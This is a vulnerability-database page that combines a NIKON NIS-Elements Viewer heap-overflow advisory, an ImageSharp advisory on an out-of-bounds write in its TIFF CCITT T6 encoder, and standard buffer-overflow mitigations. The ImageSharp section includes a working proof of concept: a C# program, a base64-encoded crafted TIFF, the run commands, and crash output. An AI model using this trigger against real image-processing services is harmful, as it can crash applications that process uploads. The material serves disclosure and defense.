Details
This vulnerability allows remote attackers to execute arbitrary code on affected installations of NIKON NIS-Elements Viewer 1.2100.1483.0. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of BMP images. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-15134.

Summary
ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer
Details
Summary
The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default TiffEncoder terminates the process with an unhandled exception.
Affected package and versions
- Package:
SixLabors.ImageSharp(NuGet) - Affected range:
>= 2.1.0, <= 4.1.1 - Commit
0815358f9202a78bc7f3b83e19282dc3654b500fcorresponds to release v4.1.1.
The T6 compressor was introduced by commit 3c9eb470a07a15012c2a29ad84090dcc804a7975, first released in v2.1.0, with the same Width * rowsPerStrip allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1.
Details
TiffCcittCompressor.Initialize allocates Width * rowsPerStrip bytes. A 1×1 strip therefore receives one byte.
After encoding the row, T6BitCompressor.CompressStrip appends two 12-bit EOFB codes. WriteCode writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws ArgumentOutOfRangeException, after the unchecked writes have exceeded the one-byte span.
The default TIFF encoder can inherit CcittGroup4Fax and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path.
Tested environment
- Published NuGet package:
SixLabors.ImageSharp4.1.1 - Target framework:
net8.0 - .NET SDK: 8.0.424
- .NET runtime: 8.0.30
- Operating system: Debian GNU/Linux 12, ARM64, Docker
No active exploitation is known.
Reproduction
Create a net8.0 project referencing the published 4.1.1 assembly and use this Program.cs:
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats.Tiff;
using SixLabors.ImageSharp.Formats.Tiff.Constants;
string mode = args.FirstOrDefault() ?? "exploit";
byte[] input = Convert.FromBase64String(
"SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA");
using Image image = Image.Load(input);
var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();
Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}");
Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}");
using var output = new MemoryStream();
if (mode == "control")
{
image.Save(output, new TiffEncoder { Compression = TiffCompression.None });
}
else
{
image.Save(output, new TiffEncoder());
}
Console.WriteLine($"encoded=True bytes={output.Length}");
Run:
dotnet run -- exploit
dotnet run -- control
The exploit produced exit code 134:
ImageSharp=4.0.0.0
mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1
Unhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values.
at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height)
The control completed with exit code 0:
ImageSharp=4.0.0.0
mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1
encoded=True bytes=212
Impact
One attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.

Mitigation MIT-3
Requirements
Strategy: Language Selection
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.
- Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
Mitigation MIT-4.1
Architecture and Design
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
Mitigation MIT-10
Operation
Build and Compilation
Strategy: Environment Hardening
- Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
- D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation MIT-9
Implementation
- Consider adhering to the following rules when allocating and managing an application's memory:
- Double check that the buffer is as large as specified.
- When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
- Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
- If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
Mitigation MIT-11
Operation
Build and Compilation
Strategy: Environment Hardening
- Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
- Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
- For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Operation
Strategy: Environment Hardening
- Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
- For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-13
Implementation
Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.
